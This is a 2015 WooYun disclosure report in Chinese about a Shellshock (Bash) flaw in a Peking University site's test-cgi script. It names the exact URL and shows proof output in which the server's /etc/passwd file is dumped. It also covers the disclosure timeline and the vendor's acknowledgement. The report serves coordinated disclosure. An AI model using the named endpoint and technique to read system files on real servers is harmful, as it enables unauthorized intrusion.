当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0102541

漏洞标题：北京大学某站存在Bash漏洞可getshell

相关厂商：北京大学

漏洞作者： 路人甲

提交时间：2015-03-23 19:09

修复时间：2015-05-08 11:16

公开时间：2015-05-08 11:16

漏洞类型：系统/服务补丁不及时

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-23： 细节已通知厂商并且等待厂商处理中
2015-03-24： 厂商已经确认，细节仅向厂商公开
2015-04-03： 细节向核心白帽子及相关领域专家公开
2015-04-13： 细节向普通白帽子公开
2015-04-23： 细节向实习白帽子公开
2015-05-08： 细节向公众公开

简要描述：

北京大学某站服务器存在Bash漏洞可getshell
Bash是Linux用户广泛使用的一款用于控制命令提示符工具，bash漏洞被称为Bash bug或Shellshock(网译:破壳漏洞)。当用户正常访问时，只要shell是唤醒状态，这个漏洞就允许攻击者执行任意代码命令！

详细说明：

http://jcc.bjmu.edu.cn/cgi-bin/test-cgi

1.png

2.png

3.png

漏洞证明：

shahdashhdd cbjmueducncgi-bintest-cgi http://jcc.bjmu.edu.cn/cgi-bin/test-cgi
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
target possible have bug under is *nix passwd file


HTTP/1.1 200 OK
Date: Fri, 20 Mar 2015 03:05:13 GMT
Server: Apache/2.2.22 (Unix) DAV/2 mod_jk/1.2.14
a: root:x:0:0:root:/root:/bin/bash
bin: x:1:1:bin:/bin:/sbin/nologin
daemon: x:2:2:daemon:/sbin:/sbin/nologin
adm: x:3:4:adm:/var/adm:/sbin/nologin
lp: x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync: x:5:0:sync:/sbin:/bin/sync
shutdown: x:6:0:shutdown:/sbin:/sbin/shutdown
halt: x:7:0:halt:/sbin:/sbin/halt
mail: x:8:12:mail:/var/spool/mail:/sbin/nologin
news: x:9:13:news:/etc/news:
uucp: x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator: x:11:0:operator:/root:/sbin/nologin
games: x:12:100:games:/usr/games:/sbin/nologin
gopher: x:13:30:gopher:/var/gopher:/sbin/nologin
ftp: x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody: x:99:99:Nobody:/:/sbin/nologin
nscd: x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa: x:69:69:virtual console memory owner:/dev:/sbin/nologin
pcap: x:77:77::/var/arpwatch:/sbin/nologin
ntp: x:38:38::/etc/ntp:/sbin/nologin
dbus: x:81:81:System message bus:/:/sbin/nologin
avahi: x:70:70:Avahi daemon:/:/sbin/nologin
rpc: x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull: x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp: x:51:51::/var/spool/mqueue:/sbin/nologin
sshd: x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
xfs: x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
rpcuser: x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody: x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon: x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd: x:100:101:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
gdm: x:42:42::/var/gdm:/sbin/nologin
sabayon: x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
bb: x:500:501::/home/bb:/bin/bash
Content-Type: text/plain; charset=iso-8859-1

修复方案：

根据Linux版本选择您需要修复的命令， 为了防止意外情况发生，建议您执行命令前先对Linux服务器系统盘打个快照，如果万一出现升级影响您服务器使用情况，可以通过回滚系统盘快照解决。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2015-03-24 11:15

厂商回复：

通知处理中

最新状态：

暂无